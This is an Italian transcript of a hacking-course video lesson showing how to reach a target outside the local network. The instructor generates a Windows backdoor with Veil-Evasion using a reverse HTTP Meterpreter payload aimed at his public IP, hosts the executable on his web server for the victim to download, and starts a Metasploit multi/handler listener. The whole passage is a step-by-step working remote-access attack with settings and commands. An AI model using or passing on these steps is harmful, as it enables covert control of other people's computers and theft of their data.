Educatore: Okay, quindi
ora andiamo avanti.
Creiamo una backdoor
e l'unica differenza è che imposteremo l'IP sull'IP
pubblico anziché sull'IP locale, quindi creeremo una backdoor
esattamente allo stesso modo in
cui l'abbiamo creata quando stiamo
hackerando dispositivi nella stessa rete.
Quindi userò Veil-Evasion e lo farò un po 'rapidamente perché
l'abbiamo fatto e non c'è nulla
di nuovo in questo, quindi possiamo elencare
per vedere cosa abbiamo.
Userò il numero 9, quindi è esattamente
lo stesso payload che abbiamo usato nel nostro video precedente.
È il payload http inverso.
Quindi useremo 9
e possiamo vedere le opzioni qui.
Possiamo vedere che LPORT è impostato su 8080 per impostazione
predefinita e lo terrò lo stesso.
L'unica cosa che cambierò è l'HOST, e
nei video precedenti quando stavamo ricevendo
connessioni sul nostro computer, lo
impostavamo sull'IP locale, quindi se lo facessi
ifconfig wlan0, lo usavamo a
192. 168. 0. 1 perché
è l'IP utilizzato dai dispositivi all'interno della rete.
Bene, ogni volta che vuoi fare
cose all'esterno, vogliamo usare l'IP reale perché questi IP
interni non sono visibili ai computer esterni alla rete.
Quindi userò l'IP che vedo su
Google, quindi quando scrivo "qual è
il mio IP", ottengo questo IP e lo userò
come LHOST nella mia backdoor,
quindi copierò questo e
lo sistemerò qui.
E scusa se non l'ho incollato correttamente,
quindi imposta.
Premi 'info' per assicurarti che tutto sia
impostato correttamente, quindi PORT 8080 stiamo usando l'IP pubblico,
quindi questo è il passo più importante in questo,
e poi faremo 'generare'.
E lo chiameremo solo "backdoordirty". EXE'.
Premi Hit.
E questo ha generato il mio payload per me,
quindi è archiviato qui.
Quindi di
nuovo, come al solito, lo
copierò e lo incollerò nel
mio var www html e ti
mostrerò come scaricarlo effettivamente da Internet dall'esterno della rete.
Quindi copierò questo nella mia directory del server web.
Va
bene, quindi è tutto fatto.
Ora non ci resta che ascoltare le
connessioni in entrata.
Lo faremo usando il multi / handler, quindi
l'abbiamo già fatto di nuovo.
Lo farò molto velocemente.
E quando ascolterò il multi / handler,
in realtà ascolterò sul mio IP locale, quindi
non ascolterò all'esterno, ascolterò sul
locale perché non riesco ad
ascoltare l'esterno.
Sono effettivamente nella rete e
ho solo il controllo sul mio computer attuale.
Quindi quello che farò ora è
qui, nella macchina Kali ascolterò su PORT 8080,
e nel dispositivo esterno la backdoor proverà a
connettersi alla backdoor, quindi
il passo dopo che configureremo Inoltro IP per consentire al
router di inoltrare PORT 8080 alla macchina Kali, ma
prima dobbiamo
ascoltare PORT 8080 nella
macchina Kali e lo
faremo usando il multi / handler.
Quindi farò solo msfconsole.
Ancora una volta,
l'abbiamo già fatto, quindi lo farò un po 'in fretta.
Quindi userò exploit / multi / handler.
Sto per impostare il payload
su windows / meterpreter / reverse_http.
Quindi imposteremo LPORT su 8080, quindi quella è
la porta su cui avremo le connessioni, e quindi
imposterò LHOST, l'host in ascolto,
sul mio IP
privato come ho detto prima, quindi vado
a impostare
LHOST su
192. 168. 0. 11' .
Ora farò "show options" per assicurarmi
che tutto sia fatto correttamente
e possiamo vedere che LPORT è impostato su 8080 e l'host locale è
impostato su 192. 168. 0. 11
e stiamo usando un payload di
windows / meterpreter / reverse_http.
Quindi va tutto bene.
Farò "exploit".
Come puoi vedere
qui, è in ascolto sul mio IP
privato ed è in ascolto su PORT 8080.
Quindi ora abbiamo fatto i
due passaggi principali:
abbiamo creato una backdoor e la backdoor ci
restituirà le connessioni in base al vero
indirizzo IP e stiamo ascoltando sul nostro computer locale.
Stiamo ascoltando PORT 8080 nella macchina Kali.
Quindi quando la persona di
destinazione gestisce la backdoor su Internet,
la backdoor proverà
a connettersi a questo IP su PORT 8080.
L'unico problema ora è il gateway, che
è il router proprio qui.
Non ha PORT 8080 aperto, quindi
riceverà la connessione.
Non saprà cosa farsene, quindi dobbiamo
configurare il router
per dirlo ogni volta che ottieni qualcosa,
ogni volta che ottieni una connessione su PORT 8080, voglio
che tu lo reindirizzi alla mia macchina Kali.
E possiamo farlo in
due modi, e ne parleremo nella prossima lezione.